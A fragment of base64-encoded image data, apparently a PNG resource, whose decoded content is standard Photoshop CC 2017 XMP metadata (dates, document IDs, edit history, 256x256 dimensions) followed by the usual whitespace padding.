MC9tbS8iCiAgICAgICAgICAgIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAv\r\n        c1R5cGUvUmVzb3VyY2VFdmVudCMiCiAgICAgICAgICAgIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9i\r\n        ZS5jb20vdGlmZi8xLjAvIgogICAgICAgICAgICB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29t\r\n        L2V4aWYvMS4wLyI+CiAgICAgICAgIDx4bXA6Q3JlYXRvclRvb2w+QWRvYmUgUGhvdG9zaG9wIENDIDIw\r\n        MTcgKFdpbmRvd3MpPC94bXA6Q3JlYXRvclRvb2w+CiAgICAgICAgIDx4bXA6Q3JlYXRlRGF0ZT4yMDE3\r\n        LTEyLTI4VDExOjE4OjI5KzA4OjAwPC94bXA6Q3JlYXRlRGF0ZT4KICAgICAgICAgPHhtcDpNb2RpZnlE\r\n        YXRlPjIwMTctMTItMjhUMTE6MjI6MTYrMDg6MDA8L3htcDpNb2RpZnlEYXRlPgogICAgICAgICA8eG1w\r\n        Ok1ldGFkYXRhRGF0ZT4yMDE3LTEyLTI4VDExOjIyOjE2KzA4OjAwPC94bXA6TWV0YWRhdGFEYXRlPgog\r\n        ICAgICAgICA8ZGM6Zm9ybWF0PmltYWdlL3BuZzwvZGM6Zm9ybWF0PgogICAgICAgICA8cGhvdG9zaG9w\r\n        OkNvbG9yTW9kZT4zPC9waG90b3Nob3A6Q29sb3JNb2RlPgogICAgICAgICA8eG1wTU06SW5zdGFuY2VJ\r\n        RD54bXAuaWlkOjA5MjQ3MDk1LWVkMTItZjg0NS04OWU1LWQwYjg5YmFkNTMyMDwveG1wTU06SW5zdGFu\r\n        Y2VJRD4KICAgICAgICAgPHhtcE1NOkRvY3VtZW50SUQ+YWRvYmU6ZG9jaWQ6cGhvdG9zaG9wOjQyYTRl\r\n        YzRkLWViN2UtMTFlNy04MjNjLWRkYjI5ZTNjOGY5YTwveG1wTU06RG9jdW1lbnRJRD4KICAgICAgICAg\r\n        PHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD54bXAuZGlkOjY2MTA3MzA5LWJhZmYtMzE0ZC1iNTU3LWUw\r\n        MTVlMWQyYjYzMzwveG1wTU06T3JpZ2luYWxEb2N1bWVudElEPgogICAgICAgICA8eG1wTU06SGlzdG9y\r\n        eT4KICAgICAgICAgICAgPHJkZjpTZXE+CiAgICAgICAgICAgICAgIDxyZGY6bGkgcmRmOnBhcnNlVHlw\r\n        ZT0iUmVzb3VyY2UiPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6YWN0aW9uPmNyZWF0ZWQ8L3N0RXZ0\r\n        OmFjdGlvbj4KICAgICAgICAgICAgICAgICAgPHN0RXZ0Omluc3RhbmNlSUQ+eG1wLmlpZDo2NjEwNzMw\r\n        OS1iYWZmLTMxNGQtYjU1Ny1lMDE1ZTFkMmI2MzM8L3N0RXZ0Omluc3RhbmNlSUQ+CiAgICAgICAgICAg\r\n        ICAgICAgIDxzdEV2dDp3aGVuPjIwMTctMTItMjhUMTE6MTg6MjkrMDg6MDA8L3N0RXZ0OndoZW4+CiAg\r\n        ICAgICAgICAgICAgICAgIDxzdEV2dDpzb2Z0d2FyZUFnZW50PkFkb2JlIFBob3Rvc2hvcCBDQyAyMDE3\r\n        IChXaW5kb3dzKTwvc3RFdnQ6c29mdHdhcmVBZ2VudD4KICAgICAgICAgICAgICAgPC9yZGY6bGk+CiAg\r\n        ICAgICAgICAgICAgIDxyZGY6bGkgcmRmOnBhcnNlVHlwZT0iUmVzb3VyY2UiPgogICAgICAgICAgICAg\r\n        ICAgICA8c3RFdnQ6YWN0aW9uPnNhdmVkPC9zdEV2dDphY3Rpb24+CiAgICAgICAgICAgICAgICAgIDxz\r\n        dEV2dDppbnN0YW5jZUlEPnhtcC5paWQ6MDkyNDcwOTUtZWQxMi1mODQ1LTg5ZTUtZDBiODliYWQ1MzIw\r\n        PC9zdEV2dDppbnN0YW5jZUlEPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6d2hlbj4yMDE3LTEyLTI4\r\n        VDExOjIyOjE2KzA4OjAwPC9zdEV2dDp3aGVuPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6c29mdHdh\r\n        cmVBZ2VudD5BZG9iZSBQaG90b3Nob3AgQ0MgMjAxNyAoV2luZG93cyk8L3N0RXZ0OnNvZnR3YXJlQWdl\r\n        bnQ+CiAgICAgICAgICAgICAgICAgIDxzdEV2dDpjaGFuZ2VkPi88L3N0RXZ0OmNoYW5nZWQ+CiAgICAg\r\n        ICAgICAgICAgIDwvcmRmOmxpPgogICAgICAgICAgICA8L3JkZjpTZXE+CiAgICAgICAgIDwveG1wTU06\r\n        SGlzdG9yeT4KICAgICAgICAgPHRpZmY6T3JpZW50YXRpb24+MTwvdGlmZjpPcmllbnRhdGlvbj4KICAg\r\n        ICAgICAgPHRpZmY6WFJlc29sdXRpb24+NzIwMDAwLzEwMDAwPC90aWZmOlhSZXNvbHV0aW9uPgogICAg\r\n        ICAgICA8dGlmZjpZUmVzb2x1dGlvbj43MjAwMDAvMTAwMDA8L3RpZmY6WVJlc29sdXRpb24+CiAgICAg\r\n        ICAgIDx0aWZmOlJlc29sdXRpb25Vbml0PjI8L3RpZmY6UmVzb2x1dGlvblVuaXQ+CiAgICAgICAgIDxl\r\n        eGlmOkNvbG9yU3BhY2U+NjU1MzU8L2V4aWY6Q29sb3JTcGFjZT4KICAgICAgICAgPGV4aWY6UGl4ZWxY\r\n        RGltZW5zaW9uPjI1NjwvZXhpZjpQaXhlbFhEaW1lbnNpb24+CiAgICAgICAgIDxleGlmOlBpeGVsWURp\r\n        bWVuc2lvbj4yNTY8L2V4aWY6UGl4ZWxZRGltZW5zaW9uPgogICAgICA8L3JkZjpEZXNjcmlwdGlvbj4K\r\n        ICAgPC9yZGY6UkRGPgo8L3g6eG1wbWV0YT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAK\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAog\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAK\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        